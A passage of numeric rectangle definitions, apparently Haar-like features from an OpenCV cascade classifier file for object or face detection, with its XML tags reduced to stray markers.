-1. + + <_> + 15 6 1 1 2. + + <_> + 16 7 1 1 2. + + + + <_> + + <_> + 7 5 3 6 -1. + + <_> + 8 5 1 6 3. + + + + <_> + + <_> + 19 17 1 3 -1. + + <_> + 19 18 1 1 3. + + + + <_> + + <_> + 7 10 3 1 -1. + + <_> + 8 10 1 1 3. + + + + <_> + + <_> + 12 1 6 6 -1. + + <_> + 14 1 2 6 3. + + + + <_> + + <_> + 15 5 2 1 -1. + + <_> + 16 5 1 1 2. + + + + <_> + + <_> + 8 2 7 4 -1. + + <_> + 8 4 7 2 2. + + + + <_> + + <_> + 4 0 14 15 -1. + + <_> + 4 5 14 5 3. + + + + <_> + + <_> + 7 8 6 6 -1. + + <_> + 9 8 2 6 3. + + + + <_> + + <_> + 11 17 1 3 -1. + + <_> + 11 18 1 1 3. + + + + <_> + + <_> + 12 16 2 4 -1. + + <_> + 12 16 1 2 2. + + <_> + 13 18 1 2 2. + + + + <_> + + <_> + 10 13 2 1 -1. + + <_> + 11 13 1 1 2. + + + + <_> + + <_> + 11 8 3 3 -1. + + <_> + 12 8 1 3 3. + + + + <_> + + <_> + 2 0 6 8 -1. + + <_> + 4 0 2 8 3. + + + + <_> + + <_> + 3 5 6 6 -1. + + <_> + 3 5 3 3 2. + + <_> + 6 8 3 3 2. + + + + <_> + + <_> + 10 8 3 3 -1. + + <_> + 11 8 1 3 3. + + + + <_> + + <_> + 5 17 4 2 -1. + + <_> + 5 18 4 1 2. + + + + <_> + + <_> + 8 16 5 2 -1. + + <_> + 8 17 5 1 2. + + + + <_> + + <_> + 0 4 3 3 -1. + + <_> + 0 5 3 1 3. + + + + <_> + + <_> + 6 3 6 2 -1. + + <_> + 8 3 2 2 3. + + + + <_> + + <_> + 4 4 9 3 -1. + + <_> + 7 4 3 3 3. + + + + <_> + + <_> + 0 13 1 4 -1. + + <_> + 0 15 1 2 2. + + + + <_> + + <_> + 0 17 8 3 -1. + + <_> + 0 18 8 1 3. + + + + <_> + + <_> + 6 1 11 6 -1. + + <_> + 6 3 11 2 3. + + + + <_> + + <_> + 4 10 6 2 -1. + + <_> + 6 10 2 2 3. + + + + <_> + + <_> + 10 8 1 12 -1. + + <_> + 10 14 1 6 2. + + + + <_> + + <_> + 5 8 3 4 -1. + + <_> + 6 8 1 4 3. + + + + <_> + + <_> + 0 17 1 3 -1. + + <_> + 0 18 1 1 3. + + + + <_> + + <_> + 0 17 1 3 -1. + + <_> + 0 18 1 1 3. + + + + <_> + + <_> + 13 8 3 4 -1. + + <_> + 14 8 1 4 3. + + + + <_> + + <_> + 1 5 5 4 -1. + + <_> + 1 7 5 2 2. + + + + <_> + + <_> + 18 14 1 2 -1. + + <_> + 18 15 1 1 2. + + + + <_> + + <_> + 13 8 2 4 -1. + + <_> + 14 8 1 4 2. + + + + <_> + + <_> + 10 6 6 8 -1. + + <_> + 12 6 2 8 3. + + + + <_> + + <_> + 8 6 6 10 -1. + + <_> + 10 6 2 10 3. + + + + <_> + + <_> + 17 16 1 3 -1. + + <_> + 17 17 1 1 3. + + + + <_> + + <_> + 1 7 2 10 -1. + + <_> + 2 7 1 10 2. + + + + <_> + + <_> + 5 9 6 3 -1. + + <_> + 7 9 2 3 3. + + + + <_> + + <_> + 0 8 5 12 -1. + + <_> + 0 14 5 6 2. + + + + <_> + + <_> + 0 11 1 3 -1. + + <_> + 0 12 1 1 3. + + + + <_> + + <_> + 6 16 6 4 -1. + + <_> + 8 16 2 4 3. + + + + <_> + + <_> + 0 6 2 6 -1. + + <_> + 0 8 2 2 3. + + + + <_> + + <_> + 11 18 2 1 -1. + + <_> + 12 18 1 1 2. + + + + <_> + + <_> + 5 1 9 2 -1. + + <_> + 5 2 9 1 2. + + + + <_> + + <_> + 0 0 1 2 -1. + + <_> + 0 1 1 1 2. + + + + <_> + + <_> + 15 9 3 3 -1. + + <_> + 16 9 1 3 3. + + + + <_> + + <_> + 18 16 1 3 -1. + + <_> + 18 17 1 1 3. + + + + <_> + + <_> + 11 10 6 1 -1. + + <_> + 13 10 2 1 3. + + + + <_> + + <_> + 1 3 4 4 -1. + + <_> + 3 3 2 4 2. + + + + <_> + + <_> + 11 2 1 18 -1. + + <_> + 11 8 1 6 3. + + + + <_> + + <_> + 9 1 5 12 -1. + + <_> + 9 5 5 4 3. + + + + <_> + + <_> + 12 0 8 1 -1. + + <_> + 16 0 4 1 2. + + + + <_> + + <_> + 8 6 3 10 -1. + + <_> + 9 6 1 10 3. + + + + <_> + + <_> + 19 2 1 6 -1. + + <_> + 19 4 1 2 3. + + + + <_> + + <_> + 18 6 2 2 -1. + + <_> + 18 7 2 1 2. + + + + <_> + + <_> + 7 7 3 4 -1. + + <_> + 8 7 1 4 3. + + + + <_> + + <_> + 5 0 6 5 -1. + + <_> + 7 0 2 5 3. + + + + <_> + + <_> + 0 3 7 3 -1. + + <_> + 0 4 7 1 3. + + + + <_> + + <_> + 1 6 2 1 -1. + + <_> + 2 6 1 1 2. + + + + <_> + + <_> + 4 8 2 10 -1. + + <_> + 4 8 1 5 2. + + <_> + 5 13 1 5 2. + + + + <_> + + <_> + 2 18 18 2 -1. + + <_> + 2 18 9 1 2. + + <_> + 11 19 9 1 2. + + + + <_> + + <_> + 2 7 4 4 -1. + + <_> + 2 7 2 2 2. + + <_> + 4 9 2 2 2. + + + + <_> + + <_> + 17 3 3 4 -1. + + <_> + 18 3 1 4 3. + + + + <_> + + <_> + 16 9 2 8 -1. + + <_> + 16 9 1 4 2. + + <_> + 17 13 1 4 2. + + + + <_> + + <_> + 15 7 1 6 -1. + + <_> + 15 9 1 2 3. + + + + <_> + + <_> + 14 2 2 2 -1. + + <_> + 14 3 2 1 2. + + + + <_> + + <_> + 17 0 2 3 -1. + + <_> + 17 1 2 1 3. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 10 4 4 3 -1. + + <_> + 10 5 4 1 3. + + + + <_> + + <_> + 0 2 8 6 -1. + + <_> + 4 2 4 6 2. + + + + <_> + + <_> + 7 14 6 6 -1. + + <_> + 7 16 6 2 3. + + + + <_> + + <_> + 11 15 2 2 -1. + + <_> + 11 16 2 1 2. + + + + <_> + + <_> + 7 1 9 4 -1. + + <_> + 10 1 3 4 3. + + + + <_> + + <_> + 9 7 3 7 -1. + + <_> + 10 7 1 7 3. + + + + <_> + + <_> + 6 17 2 2 -1. + + <_> + 6 17 1 1 2. + + <_> + 7 18 1 1 2. + + + + <_> + + <_> + 4 6 3 9 -1. + + <_> + 5 6 1 9 3. + + + + <_> + + <_> + 0 10 19 10 -1. + + <_> + 0 15 19 5 2. + + + + <_> + + <_> + 5 17 6 1 -1. + + <_> + 7 17 2 1 3. + + + + <_> + + <_> + 0 12 6 3 -1. + + <_> + 3 12 3 3 2. + + + + <_> + + <_> + 2 5 18 5 -1. + + <_> + 8 5 6 5 3. + + + + <_> + + <_> + 1 15 6 4 -1. + + <_> + 1 17 6 2 2. + + + + <_> + + <_> + 14 10 6 6 -1. + + <_> + 16 10 2 6 3. + + + + <_> + + <_> + 0 14 4 3 -1. + + <_> + 0 15 4 1 3. + + + + <_> + + <_> + 1 7 6 11 -1. + + <_> + 3 7 2 11 3. + + + + <_> + + <_> + 13 17 7 2 -1. + + <_> + 13 18 7 1 2. + + + + <_> + + <_> + 0 14 2 3 -1. + + <_> + 0 15 2 1 3. + + + + <_> + + <_> + 0 0 6 2 -1. + + <_> + 3 0 3 2 2. + + + + <_> + + <_> + 0 1 6 3 -1. + + <_> + 3 1 3 3 2. + + + + <_> + + <_> + 0 8 2 6 -1. + + <_> + 0 10 2 2 3. + + + + <_> + + <_> + 1 2 6 14 -1. + + <_> + 1 2 3 7 2. + + <_> + 4 9 3 7 2. + + + + <_> + + <_> + 17 5 2 2 -1. + + <_> + 17 5 1 1 2. + + <_> + 18 6 1 1 2. + + + + <_> + + <_> + 11 10 9 4 -1. + + <_> + 14 10 3 4 3. + + + + <_> + + <_> + 2 9 12 4 -1. + + <_> + 6 9 4 4 3. + + + + <_> + + <_> + 7 10 12 2 -1. + + <_> + 11 10 4 2 3. + + + + <_> + + <_> + 2 13 1 2 -1. + + <_> + 2 14 1 1 2. + + + + <_> + + <_> + 16 7 4 3 -1. + + <_> + 16 8 4 1 3. + + + + <_> + + <_> + 19 16 1 3 -1. + + <_> + 19 17 1 1 3. + + + + <_> + + <_> + 18 11 1 2 -1. + + <_> + 18 12 1 1 2. + + + + <_> + + <_> + 12 7 8 2 -1. + + <_> + 12 7 4 1 2. + + <_> + 16 8 4 1 2. + + + + <_> + + <_> + 14 9 2 4 -1. + + <_> + 15 9 1 4 2. + + + + <_> + + <_> + 14 2 6 4 -1. + + <_> + 14 2 3 2 2. + + <_> + 17 4 3 2 2. + + + + <_> + + <_> + 14 0 6 1 -1. + + <_> + 17 0 3 1 2. + + + + <_> + + <_> + 3 12 2 1 -1. + + <_> + 4 12 1 1 2. + + + + <_> + + <_> + 17 2 3 1 -1. + + <_> + 18 2 1 1 3. + + + + <_> + + <_> + 1 16 18 2 -1. + + <_> + 7 16 6 2 3. + + + + <_> + + <_> + 2 19 8 1 -1. + + <_> + 6 19 4 1 2. + + + + <_> + + <_> + 1 17 4 3 -1. + + <_> + 1 18 4 1 3. + + + + <_> + + <_> + 19 13 1 2 -1. + + <_> + 19 14 1 1 2. + + + + <_> + + <_> + 9 16 10 4 -1. + + <_> + 9 16 5 2 2. + + <_> + 14 18 5 2 2. + + + + <_> + + <_> + 12 9 2 4 -1. + + <_> + 12 9 1 2 2. + + <_> + 13 11 1 2 2. + + + + <_> + + <_> + 19 11 1 9 -1. + + <_> + 19 14 1 3 3. + + + + <_> + + <_> + 6 6 14 14 -1. + + <_> + 6 13 14 7 2. + + + + <_> + + <_> + 2 17 4 2 -1. + + <_> + 2 18 4 1 2. + + + + <_> + + <_> + 0 2 1 3 -1. + + <_> + 0 3 1 1 3. + + + + <_> + + <_> + 0 12 1 3 -1. + + <_> + 0 13 1 1 3. + + + + <_> + + <_> + 15 15 4 4 -1. + + <_> + 15 17 4 2 2. + + + + <_> + + <_> + 2 5 18 7 -1. + + <_> + 8 5 6 7 3. + + + + <_> + + <_> + 1 16 5 3 -1. + + <_> + 1 17 5 1 3. + + + + <_> + + <_> + 0 4 2 3 -1. + + <_> + 0 5 2 1 3. + + + + <_> + + <_> + 0 6 2 6 -1. + + <_> + 1 6 1 6 2. + + + + <_> + + <_> + 16 14 4 3 -1. + + <_> + 16 15 4 1 3. + + + + <_> + + <_> + 0 0 10 6 -1. + + <_> + 0 0 5 3 2. + + <_> + 5 3 5 3 2. + + + + <_> + + <_> + 2 2 3 6 -1. + + <_> + 3 2 1 6 3. + + + + <_> + + <_> + 2 0 3 10 -1. + + <_> + 3 0 1 10 3. + + + + <_> + + <_> + 5 5 2 2 -1. + + <_> + 5 6 2 1 2. + + + + <_> + + <_> + 12 6 4 4 -1. + + <_> + 12 8 4 2 2. + + + + <_> + + <_> + 13 5 7 3 -1. + + <_> + 13 6 7 1 3. + + + + <_> + + <_> + 10 13 1 2 -1. + + <_> + 10 14 1 1 2. + + + + <_> + + <_> + 16 16 4 2 -1. + + <_> + 18 16 2 2 2. + + + + <_> + + <_> + 16 12 4 7 -1. + + <_> + 18 12 2 7 2. + + + + <_> + + <_> + 16 17 1 3 -1. + + <_> + 16 18 1 1 3. + + + + <_> + + <_> + 19 9 1 3 -1. + + <_> + 19 10 1 1 3. + + + + <_> + + <_> + 18 7 2 6 -1. + + <_> + 19 7 1 6 2. + + + + <_> + + <_> + 8 1 3 4 -1. + + <_> + 9 1 1 4 3. + + + + <_> + + <_> + 14 0 6 9 -1. + + <_> + 16 0 2 9 3. + + + + <_> + + <_> + 4 2 10 2 -1. + + <_> + 9 2 5 2 2. + + + + <_> + + <_> + 2 12 8 4 -1. + + <_> + 2 12 4 2 2. + + <_> + 6 14 4 2 2. + + + + <_> + + <_> + 0 4 7 3 -1. + + <_> + 0 5 7 1 3. + + + + <_> + + <_> + 14 14 3 3 -1. + + <_> + 15 14 1 3 3. + + + + <_> + + <_> + 0 3 4 3 -1. + + <_> + 2 3 2 3 2. + + + + <_> + + <_> + 1 0 2 7 -1. + + <_> + 2 0 1 7 2. + + + + <_> + + <_> + 15 16 4 4 -1. + + <_> + 15 18 4 2 2. + + + + <_> + + <_> + 5 8 12 4 -1. + + <_> + 5 10 12 2 2. + + + + <_> + + <_> + 3 17 1 2 -1. + + <_> + 3 18 1 1 2. + + + + <_> + + <_> + 6 1 3 4 -1. + + <_> + 7 1 1 4 3. + + + + <_> + + <_> + 6 2 3 4 -1. + + <_> + 7 2 1 4 3. + + + + <_> + + <_> + 6 8 9 12 -1. + + <_> + 9 8 3 12 3. + + + + <_> + + <_> + 8 1 8 6 -1. + + <_> + 8 3 8 2 3. + + + + <_> + + <_> + 14 2 6 3 -1. + + <_> + 17 2 3 3 2. + + + + <_> + + <_> + 0 6 1 3 -1. + + <_> + 0 7 1 1 3. + + + + <_> + + <_> + 10 0 10 2 -1. + + <_> + 15 0 5 2 2. + + + + <_> + + <_> + 11 0 3 2 -1. + + <_> + 12 0 1 2 3. + + + + <_> + + <_> + 3 19 10 1 -1. + + <_> + 8 19 5 1 2. + + + + <_> + + <_> + 0 4 7 16 -1. + + <_> + 0 12 7 8 2. + + + + <_> + + <_> + 2 16 1 3 -1. + + <_> + 2 17 1 1 3. + + + + <_> + + <_> + 7 8 12 6 -1. + + <_> + 11 8 4 6 3. + + + + <_> + + <_> + 14 9 6 7 -1. + + <_> + 16 9 2 7 3. + + + + <_> + + <_> + 12 17 6 1 -1. + + <_> + 14 17 2 1 3. + + + + <_> + + <_> + 16 1 3 1 -1. + + <_> + 17 1 1 1 3. + + + + <_> + + <_> + 0 17 8 2 -1. + + <_> + 0 17 4 1 2. + + <_> + 4 18 4 1 2. + + + + <_> + + <_> + 17 0 2 1 -1. + + <_> + 18 0 1 1 2. + + + + <_> + + <_> + 4 15 6 5 -1. + + <_> + 6 15 2 5 3. + + + + <_> + + <_> + 7 2 8 2 -1. + + <_> + 7 3 8 1 2. + + + + <_> + + <_> + 4 1 8 4 -1. + + <_> + 4 3 8 2 2. + + + + <_> + + <_> + 5 19 2 1 -1. + + <_> + 6 19 1 1 2. + + + + <_> + + <_> + 5 19 2 1 -1. + + <_> + 6 19 1 1 2. + + + + <_> + + <_> + 16 17 1 3 -1. + + <_> + 16 18 1 1 3. + + + + <_> + + <_> + 0 11 2 3 -1. + + <_> + 1 11 1 3 2. + + + + <_> + + <_> + 0 19 4 1 -1. + + <_> + 2 19 2 1 2. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 2 18 2 2 2. + + + + <_> + + <_> + 2 17 1 3 -1. + + <_> + 2 18 1 1 3. + + + + <_> + + <_> + 5 7 11 2 -1. + + <_> + 5 8 11 1 2. + + + + <_> + + <_> + 9 2 4 10 -1. + + <_> + 9 7 4 5 2. + + + + <_> + + <_> + 0 2 4 3 -1. + + <_> + 0 3 4 1 3. + + + + <_> + + <_> + 10 19 10 1 -1. + + <_> + 15 19 5 1 2. + + + + <_> + + <_> + 11 17 8 3 -1. + + <_> + 15 17 4 3 2. + + + + <_> + + <_> + 8 19 3 1 -1. + + <_> + 9 19 1 1 3. + + + + <_> + + <_> + 14 0 3 4 -1. + + <_> + 15 0 1 4 3. + + + + <_> + + <_> + 10 6 4 3 -1. + + <_> + 10 7 4 1 3. + + + + <_> + + <_> + 0 8 3 2 -1. + + <_> + 0 9 3 1 2. + + + + <_> + + <_> + 7 12 3 6 -1. + + <_> + 7 14 3 2 3. + + + + <_> + + <_> + 1 18 1 2 -1. + + <_> + 1 19 1 1 2. + + + + <_> + + <_> + 0 12 4 4 -1. + + <_> + 2 12 2 4 2. + + + + <_> + + <_> + 1 8 6 7 -1. + + <_> + 3 8 2 7 3. + + + + <_> + + <_> + 0 8 4 5 -1. + + <_> + 2 8 2 5 2. + + + + <_> + + <_> + 19 16 1 3 -1. + + <_> + 19 17 1 1 3. + + + + <_> + + <_> + 1 5 18 6 -1. + + <_> + 7 5 6 6 3. + + + + <_> + + <_> + 2 15 4 2 -1. + + <_> + 2 16 4 1 2. + + + + <_> + + <_> + 18 6 2 11 -1. + + <_> + 19 6 1 11 2. + + + + <_> + + <_> + 0 12 2 6 -1. + + <_> + 0 14 2 2 3. + + + + <_> + + <_> + 12 5 3 2 -1. + + <_> + 12 6 3 1 2. + + + + <_> + + <_> + 1 3 2 3 -1. + + <_> + 1 4 2 1 3. + + + + <_> + + <_> + 16 14 4 4 -1. + + <_> + 16 16 4 2 2. + + + + <_> + + <_> + 6 8 12 5 -1. + + <_> + 10 8 4 5 3. + + + + <_> + + <_> + 13 7 2 7 -1. + + <_> + 14 7 1 7 2. + + + + <_> + + <_> + 1 8 2 6 -1. + + <_> + 2 8 1 6 2. + + + + <_> + + <_> + 15 0 3 7 -1. + + <_> + 16 0 1 7 3. + + + + <_> + + <_> + 4 2 6 2 -1. + + <_> + 6 2 2 2 3. + + + + <_> + + <_> + 0 9 20 9 -1. + + <_> + 0 12 20 3 3. + + + + <_> + + <_> + 10 14 2 2 -1. + + <_> + 10 15 2 1 2. + + + + <_> + + <_> + 6 5 10 4 -1. + + <_> + 6 7 10 2 2. + + + + <_> + + <_> + 6 1 5 9 -1. + + <_> + 6 4 5 3 3. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 0 14 2 4 -1. + + <_> + 0 16 2 2 2. + + + + <_> + + <_> + 10 8 2 5 -1. + + <_> + 11 8 1 5 2. + + + + <_> + + <_> + 3 7 12 7 -1. + + <_> + 7 7 4 7 3. + + + + <_> + + <_> + 0 0 6 6 -1. + + <_> + 3 0 3 6 2. + + + + <_> + + <_> + 1 0 4 4 -1. + + <_> + 3 0 2 4 2. + + + + <_> + + <_> + 0 0 6 8 -1. + + <_> + 2 0 2 8 3. + + + + <_> + + <_> + 0 0 2 1 -1. + + <_> + 1 0 1 1 2. + + + + <_> + + <_> + 0 0 3 3 -1. + + <_> + 0 1 3 1 3. + + + + <_> + + <_> + 5 4 2 4 -1. + + <_> + 5 6 2 2 2. + + + + <_> + + <_> + 2 10 9 1 -1. + + <_> + 5 10 3 1 3. + + + + <_> + + <_> + 1 17 1 3 -1. + + <_> + 1 18 1 1 3. + + + + <_> + + <_> + 0 17 2 3 -1. + + <_> + 0 18 2 1 3. + + + + <_> + + <_> + 0 15 16 3 -1. + + <_> + 8 15 8 3 2. + + + + <_> + + <_> + 0 5 4 1 -1. + + <_> + 2 5 2 1 2. + + + + <_> + + <_> + 1 0 6 20 -1. + + <_> + 3 0 2 20 3. + + + + <_> + + <_> + 2 5 4 6 -1. + + <_> + 2 5 2 3 2. + + <_> + 4 8 2 3 2. + + + + <_> + + <_> + 9 16 6 3 -1. + + <_> + 11 16 2 3 3. + + + + <_> + + <_> + 11 17 6 1 -1. + + <_> + 14 17 3 1 2. + + + + <_> + + <_> + 3 17 15 2 -1. + + <_> + 8 17 5 2 3. + + + + <_> + + <_> + 18 0 2 3 -1. + + <_> + 18 1 2 1 3. + + + + <_> + + <_> + 13 1 7 4 -1. + + <_> + 13 3 7 2 2. + + + + <_> + + <_> + 13 6 4 4 -1. + + <_> + 13 6 2 2 2. + + <_> + 15 8 2 2 2. + + + + <_> + + <_> + 17 6 3 4 -1. + + <_> + 17 8 3 2 2. + + + + <_> + + <_> + 14 9 2 2 -1. + + <_> + 15 9 1 2 2. + + + + <_> + + <_> + 17 17 1 3 -1. + + <_> + 17 18 1 1 3. + + + + <_> + + <_> + 3 19 8 1 -1. + + <_> + 7 19 4 1 2. + + + + <_> + + <_> + 0 9 3 6 -1. + + <_> + 0 12 3 3 2. + + + + <_> + + <_> + 4 7 15 5 -1. + + <_> + 9 7 5 5 3. + + + + <_> + + <_> + 6 9 9 5 -1. + + <_> + 9 9 3 5 3. + + + + <_> + + <_> + 8 1 6 2 -1. + + <_> + 10 1 2 2 3. + + + + <_> + + <_> + 4 0 12 2 -1. + + <_> + 10 0 6 2 2. + + + + <_> + + <_> + 7 0 10 3 -1. + + <_> + 12 0 5 3 2. + + + + <_> + + <_> + 5 0 9 6 -1. + + <_> + 5 2 9 2 3. + + + + <_> + + <_> + 8 3 6 4 -1. + + <_> + 8 5 6 2 2. + + + + <_> + + <_> + 17 4 2 3 -1. + + <_> + 17 5 2 1 3. + + + + <_> + + <_> + 5 2 4 3 -1. + + <_> + 5 3 4 1 3. + + + + <_> + + <_> + 5 9 2 6 -1. + + <_> + 6 9 1 6 2. + + + + <_> + + <_> + 14 10 2 6 -1. + + <_> + 15 10 1 6 2. + + + + <_> + + <_> + 7 4 3 3 -1. + + <_> + 7 5 3 1 3. + + + + <_> + + <_> + 12 4 8 2 -1. + + <_> + 12 4 4 1 2. + + <_> + 16 5 4 1 2. + + + + <_> + + <_> + 15 8 1 6 -1. + + <_> + 15 10 1 2 3. + + + + <_> + + <_> + 4 17 11 3 -1. + + <_> + 4 18 11 1 3. + + + + <_> + + <_> + 3 0 16 20 -1. + + <_> + 3 10 16 10 2. + + + + <_> + + <_> + 12 4 4 6 -1. + + <_> + 12 6 4 2 3. + + + + <_> + + <_> + 11 0 6 6 -1. + + <_> + 13 0 2 6 3. + + + + <_> + + <_> + 13 1 6 4 -1. + + <_> + 13 1 3 2 2. + + <_> + 16 3 3 2 2. + + + + <_> + + <_> + 11 0 6 4 -1. + + <_> + 13 0 2 4 3. + + + + <_> + + <_> + 8 6 6 9 -1. + + <_> + 10 6 2 9 3. + + + + <_> + + <_> + 7 0 3 4 -1. + + <_> + 8 0 1 4 3. + + + + <_> + + <_> + 0 17 14 2 -1. + + <_> + 0 17 7 1 2. + + <_> + 7 18 7 1 2. + + + + <_> + + <_> + 6 18 2 2 -1. + + <_> + 6 18 1 1 2. + + <_> + 7 19 1 1 2. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 17 18 2 2 -1. + + <_> + 17 18 1 1 2. + + <_> + 18 19 1 1 2. + + + + <_> + + <_> + 5 7 1 9 -1. + + <_> + 5 10 1 3 3. + + + + <_> + + <_> + 5 3 6 4 -1. + + <_> + 7 3 2 4 3. + + + + <_> + + <_> + 1 9 6 2 -1. + + <_> + 1 9 3 1 2. + + <_> + 4 10 3 1 2. + + + + <_> + + <_> + 6 9 2 3 -1. + + <_> + 7 9 1 3 2. + + + + <_> + + <_> + 6 8 6 12 -1. + + <_> + 8 8 2 12 3. + + + + <_> + + <_> + 4 18 2 2 -1. + + <_> + 4 18 1 1 2. + + <_> + 5 19 1 1 2. + + + + <_> + + <_> + 9 1 6 6 -1. + + <_> + 9 3 6 2 3. + + + + <_> + + <_> + 6 17 6 2 -1. + + <_> + 6 18 6 1 2. + + + + <_> + + <_> + 3 18 16 2 -1. + + <_> + 3 19 16 1 2. + + + + <_> + + <_> + 3 0 3 11 -1. + + <_> + 4 0 1 11 3. + + + + <_> + + <_> + 13 18 3 1 -1. + + <_> + 14 18 1 1 3. + + + + <_> + + <_> + 6 0 9 6 -1. + + <_> + 6 2 9 2 3. + + + + <_> + + <_> + 1 2 12 4 -1. + + <_> + 1 2 6 2 2. + + <_> + 7 4 6 2 2. + + + + <_> + + <_> + 3 3 6 4 -1. + + <_> + 5 3 2 4 3. + + + + <_> + + <_> + 12 0 8 1 -1. + + <_> + 16 0 4 1 2. + + + + <_> + + <_> + 9 0 6 2 -1. + + <_> + 11 0 2 2 3. + + + + <_> + + <_> + 3 3 12 1 -1. + + <_> + 9 3 6 1 2. + + + + <_> + + <_> + 2 7 6 2 -1. + + <_> + 2 7 3 1 2. + + <_> + 5 8 3 1 2. + + + + <_> + + <_> + 0 8 4 6 -1. + + <_> + 0 10 4 2 3. + + + + <_> + + <_> + 9 6 3 7 -1. + + <_> + 10 6 1 7 3. + + + + <_> + + <_> + 9 6 6 13 -1. + + <_> + 11 6 2 13 3. + + + + <_> + + <_> + 11 12 6 1 -1. + + <_> + 13 12 2 1 3. + + + + <_> + + <_> + 18 9 2 6 -1. + + <_> + 18 12 2 3 2. + + + + <_> + + <_> + 17 2 3 9 -1. + + <_> + 18 2 1 9 3. + + + + <_> + + <_> + 13 8 4 6 -1. + + <_> + 13 8 2 3 2. + + <_> + 15 11 2 3 2. + + + + <_> + + <_> + 4 2 12 6 -1. + + <_> + 10 2 6 6 2. + + + + <_> + + <_> + 4 14 16 6 -1. + + <_> + 12 14 8 6 2. + + + + <_> + + <_> + 6 19 10 1 -1. + + <_> + 11 19 5 1 2. + + + + <_> + + <_> + 6 17 1 3 -1. + + <_> + 6 18 1 1 3. + + + + <_> + + <_> + 4 14 10 3 -1. + + <_> + 4 15 10 1 3. + + + + <_> + + <_> + 6 0 12 12 -1. + + <_> + 6 4 12 4 3. + + + + <_> + + <_> + 5 7 4 2 -1. + + <_> + 5 7 2 1 2. + + <_> + 7 8 2 1 2. + + + + <_> + + <_> + 17 5 3 2 -1. + + <_> + 18 5 1 2 3. + + + + <_> + + <_> + 8 13 6 3 -1. + + <_> + 8 14 6 1 3. + + + + <_> + + <_> + 8 13 5 3 -1. + + <_> + 8 14 5 1 3. + + + + <_> + + <_> + 13 2 1 18 -1. + + <_> + 13 11 1 9 2. + + + + <_> + + <_> + 6 10 9 2 -1. + + <_> + 9 10 3 2 3. + + + + <_> + + <_> + 11 0 7 4 -1. + + <_> + 11 2 7 2 2. + + + + <_> + + <_> + 1 0 6 8 -1. + + <_> + 3 0 2 8 3. + + + + <_> + + <_> + 9 15 3 3 -1. + + <_> + 9 16 3 1 3. + + + + <_> + + <_> + 9 17 9 3 -1. + + <_> + 9 18 9 1 3. + + + + <_> + + <_> + 12 12 3 3 -1. + + <_> + 12 13 3 1 3. + + + + <_> + + <_> + 4 1 3 5 -1. + + <_> + 5 1 1 5 3. + + + + <_> + + <_> + 10 14 2 3 -1. + + <_> + 10 15 2 1 3. + + + + <_> + + <_> + 18 17 2 2 -1. + + <_> + 18 17 1 1 2. + + <_> + 19 18 1 1 2. + + + + <_> + + <_> + 18 18 2 2 -1. + + <_> + 18 18 1 1 2. + + <_> + 19 19 1 1 2. + + + + <_> + + <_> + 18 18 2 2 -1. + + <_> + 18 18 1 1 2. + + <_> + 19 19 1 1 2. + + + + <_> + + <_> + 4 10 9 1 -1. + + <_> + 7 10 3 1 3. + + + + <_> + + <_> + 3 9 6 5 -1. + + <_> + 5 9 2 5 3. + + + + <_> + + <_> + 18 8 1 12 -1. + + <_> + 18 14 1 6 2. + + + + <_> + + <_> + 0 2 8 6 -1. + + <_> + 0 2 4 3 2. + + <_> + 4 5 4 3 2. + + + + <_> + + <_> + 9 4 3 3 -1. + + <_> + 9 5 3 1 3. + + + + <_> + + <_> + 3 18 2 2 -1. + + <_> + 3 18 1 1 2. + + <_> + 4 19 1 1 2. + + + + <_> + + <_> + 6 4 4 3 -1. + + <_> + 6 5 4 1 3. + + + + <_> + + <_> + 16 7 4 2 -1. + + <_> + 16 7 2 1 2. + + <_> + 18 8 2 1 2. + + + + <_> + + <_> + 5 17 1 3 -1. + + <_> + 5 18 1 1 3. + + + + <_> + + <_> + 2 0 15 20 -1. + + <_> + 2 10 15 10 2. + + + + <_> + + <_> + 8 11 6 4 -1. + + <_> + 8 11 3 2 2. + + <_> + 11 13 3 2 2. + + + + <_> + + <_> + 8 16 4 3 -1. + + <_> + 8 17 4 1 3. + + + + <_> + + <_> + 8 18 2 2 -1. + + <_> + 8 18 1 1 2. + + <_> + 9 19 1 1 2. + + + + <_> + + <_> + 2 16 13 3 -1. + + <_> + 2 17 13 1 3. + + + + <_> + + <_> + 16 16 2 2 -1. + + <_> + 16 16 1 1 2. + + <_> + 17 17 1 1 2. + + + + <_> + + <_> + 8 1 6 3 -1. + + <_> + 10 1 2 3 3. + + + + <_> + + <_> + 16 7 2 2 -1. + + <_> + 16 7 1 1 2. + + <_> + 17 8 1 1 2. + + + + <_> + + <_> + 14 7 4 2 -1. + + <_> + 14 7 2 1 2. + + <_> + 16 8 2 1 2. + + + + <_> + + <_> + 4 0 14 1 -1. + + <_> + 11 0 7 1 2. + + + + <_> + + <_> + 10 4 8 2 -1. + + <_> + 10 4 4 1 2. + + <_> + 14 5 4 1 2. + + + + <_> + + <_> + 8 2 3 2 -1. + + <_> + 9 2 1 2 3. + + + + <_> + + <_> + 12 11 6 3 -1. + + <_> + 12 12 6 1 3. + + + + <_> + + <_> + 1 5 1 4 -1. + + <_> + 1 7 1 2 2. + + + + <_> + + <_> + 1 1 1 18 -1. + + <_> + 1 7 1 6 3. + + + + <_> + + <_> + 11 13 3 2 -1. + + <_> + 11 14 3 1 2. + + + + <_> + + <_> + 0 1 12 2 -1. + + <_> + 0 1 6 1 2. + + <_> + 6 2 6 1 2. + + + + <_> + + <_> + 10 18 2 2 -1. + + <_> + 10 18 1 1 2. + + <_> + 11 19 1 1 2. + + + + <_> + + <_> + 4 5 4 4 -1. + + <_> + 4 5 2 2 2. + + <_> + 6 7 2 2 2. + + + + <_> + + <_> + 6 7 1 3 -1. + + <_> + 6 8 1 1 3. + + + + <_> + + <_> + 14 10 6 2 -1. + + <_> + 16 10 2 2 3. + + + + <_> + + <_> + 16 8 3 6 -1. + + <_> + 17 8 1 6 3. + + + + <_> + + <_> + 4 10 6 2 -1. + + <_> + 6 10 2 2 3. + + + + <_> + + <_> + 6 5 3 7 -1. + + <_> + 7 5 1 7 3. + + + + <_> + + <_> + 0 13 6 6 -1. + + <_> + 0 16 6 3 2. + + + + <_> + + <_> + 12 5 1 9 -1. + + <_> + 12 8 1 3 3. + + + + <_> + + <_> + 5 9 3 3 -1. + 